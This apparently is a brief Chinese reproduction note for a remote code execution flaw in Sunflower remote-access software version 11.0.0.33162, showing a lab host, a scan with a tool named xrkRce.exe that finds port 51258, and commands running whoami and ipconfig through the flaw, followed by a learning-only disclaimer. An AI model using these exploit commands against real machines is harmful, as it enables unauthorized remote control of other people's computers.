向日葵RCE復現

1、影響版本

11.0.0.33162

2、存在漏洞主機：192.168.1.9

 

3、掃描是否存在RCE漏洞

存在，端口是51258

.\xrkRce.exe -h 192.168.1.9 -t scan

 

4、RCE利用

成功執行whoami、ipconfig命令

.\xrkRce.exe -h 192.168.1.9 -t rce -p 51258 -c "whoami"

 .\xrkRce.exe -h 192.168.1.9 -t rce -p 51258 -c "ipconfig"

 

 聲明：文章只用於學習交流，由於利用的信息而造成的任何或直接的此文傳播后果，作者不承擔任何直接責任，一切法律后果均由攻擊者承擔！